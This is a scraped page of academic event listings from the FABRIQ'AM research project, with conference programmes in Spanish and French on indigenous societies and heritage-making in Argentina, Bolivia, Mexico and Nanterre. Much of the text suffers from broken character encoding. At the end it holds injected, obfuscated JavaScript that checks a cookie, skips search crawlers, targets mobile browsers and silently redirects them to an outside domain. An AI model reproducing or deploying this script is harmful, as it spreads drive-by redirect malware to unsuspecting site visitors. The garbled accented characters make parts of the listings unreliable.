TecnologA�a, medios… y mucho por contar.A�Pablo Cruz, Investigador CONICET, Instituto Interdisciplinario Tilcara, FFyL-UBA.

8 de diciembre

10h/13h

Nuestros antepasados los Incas. Comentarios sobre elA�a�?aA�o nuevo andinoa�?en la regiA?n del Norte de PotosA� (Bolivia).A�Laurence Charlier, docente, Universidad Jean JaurA?s Toulouse 2, LISST-CAS (CNRS y UniversitA� Jean JaurA?s Toulouse 2).

a�?Me cuesta hacerles entender que los indios A�ramos nosotrosa�?: respuestas reflexivas a las formaciones hegemA?nicas de alteridad en la Quebrada de Humahuaca, Jujuy, Argentina.A�Patricia Salatino, Doctoranda de ArqueologA�a (Facultad de FilosofA�a y Letras, UBA), Asistente de GestiA?n Cultural en la DirecciA?n General de Patrimonio e Instituto HistA?rico de la CABA.

La indigenizaciA?n de una imagen. Las tribulaciones delA�MallkuTata Sabaya (comunidad aymara del altiplano boliviano).A�Gilles RiviA?re, docente, EHESS, Mondes AmA�ricains-Cerma (CNRS y EHESS).

A�Almuerzo

14h30/17H30

Archivo General Tehuelche (AGT), una entelequia para la acciA?n: disputas en torno a los procesos de patrimonializaciA?n en la Patagonia austral. Mariela RodrA�guez, Investigadora CONICET, docente Universidad de Buenos Aires-FLACSO.

Los conocimientos tradicionales y los desafA�os que plantea su protecciA?n y salvaguarda.A�MarA�a Luz Endere, Investigadora CONICET, Directora de PATRIMONIA (Programa Interdisciplinario de Estudios del Patrimonio), Universidad Nacional del Centro de la Provincia de Buenos Aires.

A�DiscusiA?n general

Ver el programaA�con resA?menes :A�Programa Fabriqam-BuenosAires 2015

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Sociedades indA�genas y procesos de patrimonializaciA?n (18-20/11/2015): « Sociedades indA�genasA�y procesos de patrimonializaciA?n », MA�xico

Universidad Nacional AutA?noma de MA�xico Instituto de Investigaciones AntropolA?gicas

Ciclo de conferencias

Sociedades indA�genasA�y procesos de patrimonializaciA?n.
Acercamientos crA�ticos y estudios de caso

del 18 al 20 de noviembre de 2015
de 10:00 a 13:00
SalA?n de Usos MA?ltiples, IIA-UNAM

Imparte : Dra Anath Ariel de Vidas (CNRS, Francia)

MiA�rcoles 18
Una introducciA?n al tema:A�A� Del patrimonio a laA�patrimonializaciA?n A�

Jueves 19
Los tA�rminos de la patrimonializaciA?n:A�A� cultura y a�?culturaa�� A�

Viernes 20
Estudios de casos:A�el proyecto FABRIQa��AM y otrasA�experiencias

Ver el programa :A�Programa.pdf

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JournA�e d’A�tude internationale FABRIQ’AM : Les concours de beautA� dans les AmA�riques indiennes. Performance, glamour et patrimonialisation, le 11 dA�cembre 2015, Nanterre

JournA�e d’A�tude internationale FABRIQ’AM

LesA�concoursA�deA�beautA�A�dans les AmA�riques indiennes.A�Performance, glamour et patrimonialisation

11 dA�cembre 2015

LESC, Maison de l’ArchA�ologie et de l’Ethnologie,

UniversitA� Paris Ouest Nanterre La DA�fense, salle 308

OrganisA�e par Magda Helena Dziubinska et GrA�gory DeshoulliA?re

Veuillez trouver le programme ci-joint :A�PROGRAMME (Concours de beautA�)var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}